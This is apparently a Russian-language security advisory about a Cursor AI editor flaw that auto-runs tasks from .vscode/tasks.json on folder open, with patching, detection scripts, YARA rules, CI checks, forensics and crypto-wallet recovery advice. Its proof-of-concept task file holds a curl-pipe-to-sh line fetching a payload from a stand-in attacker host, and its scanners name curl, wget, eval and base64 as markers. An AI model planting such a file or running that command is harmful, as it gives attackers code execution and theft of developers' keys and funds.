Уязвимость Cursor AI — риск кражи криптовалюты

Краткий план действий
- Что случилось: В AI-редакторе Cursor обнаружена критическая уязвимость, позволяющая выполнить произвольный код (RCE) при открытии вредоносной папки проекта.
- Кто затронут: Пользователи Cursor версий до 0.34.4. Особый риск для Web3-разработчиков.
- Срочные действия для разработчика:
- Обновите Cursor до версии 0.34.4 или новее.
- Включите Workspace Trust в настройках безопасности.
- Просканируйте проекты на наличие подозрительных файлов
tasks.json. - Ротируйте ключи и токены, если открывали недоверенные проекты.
Введение
В январе 2024 года команда кибербезопасности SlowMist сообщила о критической уязвимости в Cursor — популярном AI-редакторе кода. Проблема позволяла злоумышленнику выполнить произвольный код на машине разработчика через стандартную функцию «Open Folder». Эта уязвимость превратила инструмент для повышения продуктивности в вектор для атак, направленных на кражу API-ключей, данных и криптовалютных активов.
Хронология и технические детали
Уязвимость возникла из-за унаследованной от VS Code функции автоматического выполнения задач, которая в старых версиях Cursor была включена по умолчанию без должных мер предосторожности.
- 8 января 2024 г. — отчет SlowMist: эксперты продемонстрировали PoC-атаку, показав, как команда, заложенная в файл
.vscode/tasks.json, исполняется при открытии проекта.
Источник: отчет SlowMist. - 9 января 2024 г. — выпуск патча: Anysphere, компания-разработчик Cursor, выпускает версию 0.34.4, в которой по умолчанию включена функция Workspace Trust, предотвращающая автоматическое выполнение кода.
Источник: changelog релиза 0.34.4.
На момент публикации для этой уязвимости, связанной с tasks.json, не был присвоен отдельный идентификатор CVE. Проверка в базах данных NVD и Mitre не выявила соответствующей записи. Проблема является унаследованной от архитектуры VS Code и была решена внедрением функции Workspace Trust, а не исправлением конкретного бага в коде Cursor.
Затронутые версии
| Статус | Версии | Дата выпуска патча | Ссылка на релиз |
|---|---|---|---|
| Уязвимы | Все версии до 0.34.4 | — | — |
| Безопасны | 0.34.4 и новее | 9 января 2024 г. | GitHub Releases |
Технический вектор атаки и Proof-of-Concept (PoC)
Атака эксплуатирует механизм автоматического выполнения задач, настроенный в файле .vscode/tasks.json внутри проекта. При открытии такой папки в уязвимой версии Cursor редактор автоматически исполнял прописанные команды без подтверждения от пользователя.
ОПАСНО: НЕ ЗАПУСКАТЬ В РАБОЧЕЙ СРЕДЕ
Приведенный ниже пример — демонстрация вектора атаки. Никогда не запускайте команды из недоверенных источников. Даже простое открытие папки проекта в уязвимой среде может привести к автоматическому выполнению вредоносного кода и полной компрометации системы.
Пример вредоносного файла .vscode/tasks.json:
{
"version": "2.0.0",
"tasks": [
{
"label": "install dependencies",
"type": "shell",
"command": "curl -s http://attacker-example[.]com/payload.sh | sh",
"runOptions": { "runOn": "folderOpen" }
}
]
}
Здесь команда curl загружает и исполняет вредоносный скрипт с сервера злоумышленника в момент открытия папки проекта.
План действий: защита и реагирование
Шаг 1: Немедленные действия (в течение часа)
-
Обновите Cursor AI. Немедленно установите последнюю версию (0.34.4+) с официального сайта cursor.sh или со страницы релизов.
-
Проверьте целостность релиза. Перед установкой убедитесь, что скачанный файл не был подменен.
-
Linux/macOS:
sha256sum -c sha256sums.txt --ignore-missing -
Windows (PowerShell):
(Get-FileHash 'Cursor.Setup.exe').Hash.ToLower() -eq ( (Get-Content 'sha256sums.txt' | Select-String 'Cursor.Setup.exe').ToString().Split(' ')[0] )
-
-
Включите Workspace Trust. Эта функция, унаследованная от VS Code, предотвращает автоматическое выполнение кода из недоверенных проектов. В Cursor аналогичная настройка.
-
GUI: перейдите в
Settings → Security → Workspace Trustи убедитесь, что опция включена. -
settings.json: установите флаг:
"security.workspace.trust.enabled": trueПодробнее о функции можно прочитать в документации VS Code.
-
-
Проведите аудит проектов. Используйте скрипты из раздела «Автоматизированная проверка» для сканирования локальных репозиториев на наличие подозрительных
tasks.json. -
Ротируйте ключи. Если вы открывали подозрительные проекты, немедленно смените все API-ключи (AWS, Google Cloud, OpenAI), пароли, SSH-ключи и токены доступа.
Шаг 2: Долгосрочная защита
- Изолируйте окружения. Используйте отдельную, изолированную среду (виртуальная машина, контейнер Docker) для работы с кодом из непроверенных источников.
- Принцип минимальных привилегий. Запускайте инструменты разработки от имени пользователя с ограниченными правами.
Индикаторы компрометации (IOCs)
Файловые индикаторы
-
Пути: ищите файлы
tasks.jsonс подозрительным содержимым в папках.vscode/внутри ваших проектов. -
Поиск с помощью grep:
# Поиск файлов tasks.json, содержащих опцию автозапуска "folderOpen" # Замените /path/to/projects на путь к вашим проектам find /path/to/projects -type f -name "tasks.json" -exec grep -l '"runOn": "folderOpen"' {} + # Поиск подозрительных команд (curl|sh, wget, eval, base64) find /path/to/projects -type f -name "tasks.json" -exec grep -H -E 'sh -c|eval\(|curl|wget|base64\s-d' {} + -
YARA-правило для
tasks.json:rule Suspicious_Cursor_Tasks_Json { meta: description = "Detects tasks.json configured to run on folderOpen with suspicious commands" author = "Threat Research Team" date = "2024-01-15" strings: $file = "tasks.json" nocase $run_on = /"runOn"\s*:\s*"folderOpen"/ $cmd_curl = /"command"\s*:\s*".*(curl|wget).* (sh|bash|zsh)\s*"/ $cmd_eval = /"command"\s*:\s*".*eval\s*\(.*\).*/ condition: uint32(0) == 0x7B227665 and // fast check for "{\"ve" $file and $run_on and 1 of ($cmd*) }
Сетевые индикаторы
Подозрительные домены: DNS-запросы к доменам на бесплатных хостингах или динамических DNS (например, *.ddns.net, *.no-ip.com, *.xyz, *.top).
-
Анализ трафика: ищите исходящие соединения от процессов
node,python,sh,bash, запущенных дочерними процессами от Cursor. -
Linux/macOS:
sudo ss -tulpn | grep -E 'node|python|sh' -
Windows (PowerShell):
Get-NetTCPConnection -State Established | Where-Object { ($proc = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue) -and ($proc.ProcessName -in 'node','python','sh') }
Автоматизированная проверка рабочих каталогов
Используйте эти скрипты для массового сканирования проектов на наличие вредоносных tasks.json.
Инструкция:
- Сохраните скрипт в файл (например,
scan.shилиscan.ps1). - Запустите его, указав путь к корневой папке с вашими проектами.
- Важно: если скрипт найдет подозрительные файлы, не открывайте эти проекты. Анализируйте их в изолированной среде.
Скрипт для Linux/macOS (Bash):
#!/bin/bash
SEARCH_DIR="${1:-.}"
echo "Scanning for potentially malicious tasks.json in '$SEARCH_DIR'…"
find "$SEARCH_DIR" -type f -name "tasks.json" | while read -r file; do
if grep -q '"runOn": "folderOpen"' "$file" &&
grep -q -E 'curl|wget|bash -c|sh -c|eval|base64' "$file"; then
echo "!!! SUSPICIOUS FILE DETECTED: $file"
fi
done
echo "Scan complete."
Скрипт для Windows (PowerShell):
param (
[Parameter(Mandatory = $true)]
[string]$Path
)
Write-Host "Scanning for potentially malicious tasks.json in '$Path'…"
Get-ChildItem -Path $Path -Recurse -Filter "tasks.json" -File | ForEach-Object {
$content = Get-Content $_.FullName -Raw
if ($content -match '"runOn":\s*"folderOpen"' -and
$content -match '(curl|wget|bash -c|sh -c|eval|base64)') {
Write-Host "!!! SUSPICIOUS FILE DETECTED: $($_.FullName)" -ForegroundColor Red
}
}
Write-Host "Scan complete."
Рекомендации для команд безопасности и DevOps
-
Интеграция в CI/CD. Добавьте шаг в CI-пайплайн, который сканирует репозиторий на наличие
tasks.jsonсrunOn: folderOpen.Пример для GitHub Actions:
- name: Scan for dangerous tasks.json run: | if find . -type f -name "tasks.json" -exec grep -q '"runOn": "folderOpen"' {} +; then echo "::error::Dangerous 'runOn: folderOpen' found in tasks.json!" exit 1 fi -
Pre-commit hooks. Внедрите локальные pre-commit-хуки для выполнения аналогичной проверки перед коммитом.
-
Политики для репозиториев. Настройте
CODEOWNERSв GitHub, чтобы изменения в.vscode/требовали обязательного ревью от команды безопасности. -
EDR/IDS-правила. Создайте правила для мониторинга и оповещения, когда процесс редактора порождает дочерние процессы
curl,wgetилиsh -c.
Форензика и реагирование на инцидент
- Изолируйте машину. Немедленно отключите ее от сети. Не выключайте питание, чтобы сохранить данные из оперативной памяти (RAM) для анализа.
- Соберите артефакты (для профессионалов):
- Образ RAM: используйте FTK Imager или Belkasoft RAM Capturer.
- Системные логи:
Event Viewer(Windows),/var/log/(Linux),~/Library/Logs/(macOS). - Логи Cursor:
%APPDATA%\Cursor\logs(Windows),~/.config/Cursor/logs(Linux),~/Library/Application Support/Cursor/logs(macOS). - Процессы и соединения: сохраните вывод
ps auxиsudo ss -tulpn(Linux/macOS) илиGet-ProcessиGet-NetTCPConnection(PowerShell).
- Обратитесь к специалистам. В корпоративной среде свяжитесь с командой по реагированию на инциденты (IR/CSIRT).
Что делать со скомпрометированным криптокошельком
ПРЕДУПРЕЖДЕНИЕ: не действуйте поспешно. Злоумышленники используют автоматические скрипты (sweeper bots), которые мгновенно крадут любые поступающие на скомпрометированный адрес активы (например, ETH для оплаты газа).
- Не пополняйте скомпрометированный кошелек. Любые средства для оплаты комиссии будут немедленно украдены.
- Создайте новый кошелек на гарантированно чистом устройстве. Идеальный вариант — аппаратный кошелек (Ledger, Trezor).
- Спланируйте спасение активов. Для вывода токенов потребуется опередить бота. Используйте сервисы приватных транзакций, такие как Flashbots, чтобы отправить транзакцию напрямую майнеру/валидатору, минуя публичный мемпул. Это сложная процедура, требующая помощи специалистов.
- Сообщите биржам и аналитическим сервисам. Если средства были выведены на централизованную биржу, немедленно свяжитесь с ее службой поддержки, предоставив TxID и адреса злоумышленников.
- Никогда не используйте скомпрометированный кошелек снова. Откажитесь от него навсегда.
Заключение
Инцидент с Cursor — это важное напоминание, что удобство AI-инструментов не должно достигаться ценой безопасности. Ответственность за защиту данных лежит на каждом разработчике. Обновляйте ПО, включайте защитные механизмы, такие как Workspace Trust, и относитесь к любому загруженному коду как к потенциально опасному.
Если вы обнаружили уязвимость, ответственно сообщите о ней разработчикам по адресу security@anysphere.co или через SECURITY.md в репозитории проекта.